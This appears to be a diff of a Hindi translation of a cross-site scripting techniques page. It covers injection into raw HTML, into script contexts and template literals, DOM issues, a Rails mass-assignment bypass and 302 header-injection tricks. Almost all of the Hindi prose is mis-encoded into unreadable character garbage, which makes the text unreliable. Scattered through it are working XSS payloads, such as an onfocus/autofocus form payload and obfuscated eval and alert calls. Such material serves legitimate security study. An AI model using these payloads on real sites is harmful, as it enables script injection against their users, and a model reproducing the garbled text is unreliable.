**рдордирдорд╛рдиреЗ JavaScript рдирд┐рд╖реНрдкрд╛рджрди** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ **RCE** рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, **рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдФрд░ рд╕рд░реНрд╡рд░реНрд╕ рдореЗрдВ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рд╛** рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫред\ +рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ XSS **рдХрд╣реАрдВ рднреА** рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпреЗ рдХреЗрд╡рд▓ рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рд╢реЛрд╖рдг рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рдХрд░рддреЗ рдмрд▓реНрдХрд┐ **рдХрд┐рд╕реА рднреА** **рд╕рдВрджрд░реНрдн** рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ **рдордирдорд╛рдиреЗ JavaScript рдирд┐рд╖реНрдкрд╛рджрди** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ **RCE** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ, **рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдФрд░ рд╕рд░реНрд╡рд░реНрд╕ рдореЗрдВ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ**, рдФрд░ рдЕрдзрд┐рдХ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ рдХреБрдЫ **рдЙрджрд╛рд╣рд░рдг**: {{#ref}} @@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md ## рдХрдЪреНрдЪреЗ HTML рдХреЗ рдЕрдВрджрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ -рдЬрдм рдЖрдкрдХрд╛ рдЗрдирдкреБрдЯ **HTML рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░** рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ HTML рдХреЛрдб рдХреЛ рдмрдЪрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ **рдкрд╣рд▓реА** рдЪреАрдЬрд╝ рдЬреЛ рдЖрдкрдХреЛ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `<` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирдП рдЯреИрдЧ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ: рдмрд╕ рдЙрд╕ **рдЪрд░** рдХреЛ **рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрд╕реЗ **HTML рдПрдиреНрдХреЛрдбреЗрдб** рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдпрд╛ **рд╣рдЯрд╛рдпрд╛** рдЧрдпрд╛ рд╣реИ рдпрд╛ рдпрджрд┐ рдпрд╣ **рдмрд┐рдирд╛ рдмрджрд▓рд╛рд╡ рдХреЗ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд** рд╣реЛ рд░рд╣рд╛ рд╣реИред **рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдЗрд╕ рдорд╛рдорд▓реЗ рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рдкрд╛рдПрдВрдЧреЗ**ред\ -рдЗрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рднреА **рдпрд╛рдж рд░рдЦреЗрдВ** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**ред**\ -_**рдиреЛрдЯ: рдПрдХ HTML рдЯрд┐рдкреНрдкрдгреА рдХреЛ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП\*\*\*\*\*\***\***\*`-->`\*\***\***\*рдпрд╛ \*\*\*\*\*\***`--!>`\*\*_ +рдЬрдм рдЖрдкрдХрд╛ рдЗрдирдкреБрдЯ **HTML рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░** рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ HTML рдХреЛрдб рдХреЛ рдмрдЪрд╛ рдФрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ **рдкрд╣рд▓реА** рдЪреАрдЬрд╝ рдЬреЛ рдЖрдкрдХреЛ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `<` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирдП рдЯреИрдЧ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ: рдмрд╕ рдЙрд╕ **рдЪрд░** рдХреЛ **рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрд╕реЗ **HTML рдПрдиреНрдХреЛрдбреЗрдб** рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдпрд╛ **рд╣рдЯрд╛рдпрд╛** рдЧрдпрд╛ рд╣реИ рдпрд╛ рдпрджрд┐ рдпрд╣ **рдмрд┐рдирд╛ рдмрджрд▓рд╛рд╡ рдХреЗ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд** рд╣реЛ рд░рд╣рд╛ рд╣реИред **рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдЗрд╕ рдорд╛рдорд▓реЗ рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рдкрд╛рдПрдВрдЧреЗ**ред\ +рдЗрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП **рдпрд╛рдж рд░рдЦреЗрдВ** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**ред**\ +_**рдиреЛрдЯ: рдПрдХ HTML рдЯрд┐рдкреНрдкрдгреА рдХреЛ \*\***\***\*`-->`\*\***\***\*рдпрд╛ \*\***`--!>`\*\** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдВрдж рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред_ -рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдФрд░ рдпрджрд┐ рдХреЛрдИ рдмреНрд▓реИрдХ/рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдРрд╕реЗ рдкреЗ рд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдФрд░ рдпрджрд┐ рдХреЛрдИ рдмреНрд▓реИрдХ/рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдРрд╕реЗ рдкреЗрд▓реЛрдбреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```html ` рдЯреИрдЧ рдХреЗ рдмреАрдЪ рдпрд╛ HTML рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЗ рдмреАрдЪ рдЬреЛ JS рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЙрди рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЬреЛ `javascript:` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, **рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд** рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред +рдЗрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЖрдкрдХрд╛ **рдЗрдирдкреБрдЯ** **JS рдХреЛрдб** рдХреЗ рдПрдХ `.js` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдпрд╛ `` рдЯреИрдЧ рдХреЗ рдмреАрдЪ рдпрд╛ HTML рдЗрд╡реЗрдВрдЯ рдХреЗ рдмреАрдЪ рдЬреЛ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЙрди рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЬреЛ `javascript:` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, **рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд** рд╣реЛрдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИред ### \` рдХреЗ рднреАрддрд░ рдбрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ `` рдХреЗ рднреАрддрд░ рдбрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ ` ``` @@ -489,7 +489,7 @@ onbeforetoggle="alert(2)" /> ### Template literals \`\` **рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕** рдХреЛ рдПрдХрд▓ рдФрд░ рджреЛрд╣рд░реЗ рдЙрджреНрдзрд░рдгреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, JS **рдмреИрдХрдЯрд┐рдХреНрд╕** **` `` `** рдХреЛ рднреА рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдЗрд╕реЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рд▓рд┐рдЯреЗрд░рд▓ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ `${ ... }` рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **JS рдПрдХреНрд╕рдкреНрд░реЗрд╢рдВрд╕** рдХреЛ **рдПрдВрдмреЗрдб** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред\ -рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХрд╛ рдЗрдирдкреБрдЯ рдПрдХ JS рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрдВрджрд░ **рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд** рд╣реЛ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдмреИрдХрдЯрд┐рдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **рдордирдорд╛рдиреЗ JS рдХреЛрдб** рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `${ ... }` рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХрд╛ рдЗрдирдкреБрдЯ рдПрдХ JS рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрдВрджрд░ **рд░рд┐рдлреНрд▓реЗрдХреНрдЯ** рд╣реЛ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдмреИрдХрдЯрд┐рдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **рдордирдорд╛рдирд╛ JS рдХреЛрдб** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `${ ... }` рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: рдЗрд╕рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```javascript @@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36)) /**/ ``` -**рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ (рд╕реЗ** [**рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ**](#javascript-comments) **рдХреМрд╢рд▓)** +**рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ (рд╕реЗ** [**рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ**](#javascript-comments) **рдХрд▓рд╛)** ```javascript //This is a 1 line comment /* This is a multiline comment*/ @@ -740,7 +740,7 @@ top[8680439..toString(30)](1) ## **DOM рдХрдордЬреЛрд░рд┐рдпрд╛рдБ** рдпрд╣рд╛рдБ **JS рдХреЛрдб** рд╣реИ рдЬреЛ **рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ `location.href`ред рдПрдХ рд╣рдорд▓рд╛рд╡рд░, рдЗрд╕реЗ рдордирдорд╛рдиреЗ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ -**DOM рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЗ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рдХрд╛рд░рдг** [**рдЗрд╕реЗ рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛**](dom-xss.md)**:** +**DOM рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЗ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рдХрд╛рд░рдг рдЗрд╕реЗ** [**рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ**](dom-xss.md)**:** {{#ref}} dom-xss.md @@ -759,7 +759,7 @@ dom-xss.md ../hacking-with-cookies/cookie-tossing.md {{#endref}} -рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рд╢рд╛рдирджрд╛рд░ рджреБрд░реБрдкрдпреЛрдЧ [**рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдмрдбрд╝рд╛ рджреБрд░реБрдкрдпреЛрдЧ [**рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред ### рдЕрдкрдиреЗ рд╕рддреНрд░ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЛ рднреЗрдЬрдирд╛ @@ -783,7 +783,7 @@ dom-xss.md ``` ### Ruby-On-Rails рдмрд╛рдпрдкрд╛рд╕ -**RoR рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ** рдХреЗ рдХрд╛рд░рдг HTML рдореЗрдВ рдХреЛрдЯреНрд╕ рдбрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдХреЛрдЯ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдлрд╝реАрд▓реНрдб (onfocus) рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░ рдЬреЛрдбрд╝реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред\ +**RoR рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ** рдХреЗ рдХрд╛рд░рдг HTML рдореЗрдВ рдЙрджреНрдзрд░рдг рдбрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрджреНрдзрд░рдг рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдлрд╝реАрд▓реНрдб (onfocus) рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░ рдЬреЛрдбрд╝реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред\ рдлреЙрд░реНрдо рдЙрджрд╛рд╣рд░рдг ([рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рд╕реЗ](https://hackerone.com/reports/709336)), рдпрджрд┐ рдЖрдк рдкреЗрд▓реЛрдб рднреЗрдЬрддреЗ рд╣реИрдВ: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -826,20 +826,20 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS with header injection in a 302 response -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **302 Redirect response рдореЗрдВ headers inject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк **рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдордирдорд╛рдирд╛ JavaScript рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ **рд╕рд░рд▓ рдирд╣реАрдВ рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ HTTP response body рдХреЛ 302 HTTP response status code рд╣реЛрдиреЗ рдкрд░ рдирд╣реАрдВ рд╕рдордЭрддреЗ, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ cross-site scripting payload рдмреЗрдХрд╛рд░ рд╣реИред +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **302 Redirect рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк **рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдордирдорд╛рдирд╛ JavaScript рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ **рд╕рд░рд▓ рдирд╣реАрдВ рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб 302 рд╣реЛрдиреЗ рдкрд░ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рдирд╣реАрдВ рд╕рдордЭрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдкреЗрд▓реЛрдб рдмреЗрдХрд╛рд░ рд╣реИред -[**рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ**](https://www.gremwell.com/firefox-xss-302) рдФрд░ [**рдЗрд╕ рдПрдХ**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) рдореЗрдВ рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк Location header рдХреЗ рдЕрдВрджрд░ рдХрдИ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХреИрд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ XSS payload рдХреЛ body рдХреЗ рдЕрдВрджрд░ рдирд┐рд░реАрдХреНрд╖рдг рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред\ -рдкрд┐рдЫрд▓реЗ рдЬреНрдЮрд╛рдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓: `mailto://`, `//x:1/`, `ws://`, `wss://`, _рдЦрд╛рд▓реА Location header_, `resource://`ред +[**рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ**](https://www.gremwell.com/firefox-xss-302) рдФрд░ [**рдЗрд╕ рдПрдХ**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) рдореЗрдВ рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдХреИрд╕реЗ рд╕реНрдерд╛рди рд╣реЗрдбрд░ рдХреЗ рдЕрдВрджрд░ рдХрдИ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ XSS рдкреЗрд▓реЛрдб рдХреЛ рд╢рд░реАрд░ рдХреЗ рдЕрдВрджрд░ рдирд┐рд░реАрдХреНрд╖рдг рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред\ +рдкрд┐рдЫрд▓реЗ рдЬреНрдЮрд╛рдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓: `mailto://`, `//x:1/`, `ws://`, `wss://`, _рдЦрд╛рд▓реА рд╕реНрдерд╛рди рд╣реЗрдбрд░_, `resource://`ред ### рдХреЗрд╡рд▓ рдЕрдХреНрд╖рд░, рд╕рдВрдЦреНрдпрд╛ рдФрд░ рдмрд┐рдВрджреБ -рдпрджрд┐ рдЖрдк рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ рдХрд┐ JavaScript **callback** рдХреЛ **execute** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрди рд╡рд░реНрдгреЛрдВ рддрдХ рд╕реАрдорд┐рдд рд╣реИред [**рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЗ рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреЛ рдкрдврд╝реЗрдВ**](#javascript-function) рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдПред +рдпрджрд┐ рдЖрдк рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ рдХрд┐ JavaScript **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЙрди рд╡рд░реНрдгреЛрдВ рддрдХ рд╕реАрдорд┐рдд рд╣реИред [**рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЗ рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреЛ рдкрдврд╝реЗрдВ**](#javascript-function) рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдПред -### XSS рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп ` ``` -рдЙрддреНрддрд░ рд╣реИ: - - **module** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ, рд╕рдордЭрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдирд╣реАрдВ) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЖрдк рдХрдИ рдбреЗрдЯрд╛ (HTML, CSS, JSтАж) рдХреЛ рдПрдХ рд╕рд╛рде **`.wbn`** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреИрдХреЗрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЖрдк рдбреЗрдЯрд╛ (HTML, CSS, JSтАж) рдХреЛ рдПрдХ рд╕рд╛рде **`.wbn`** 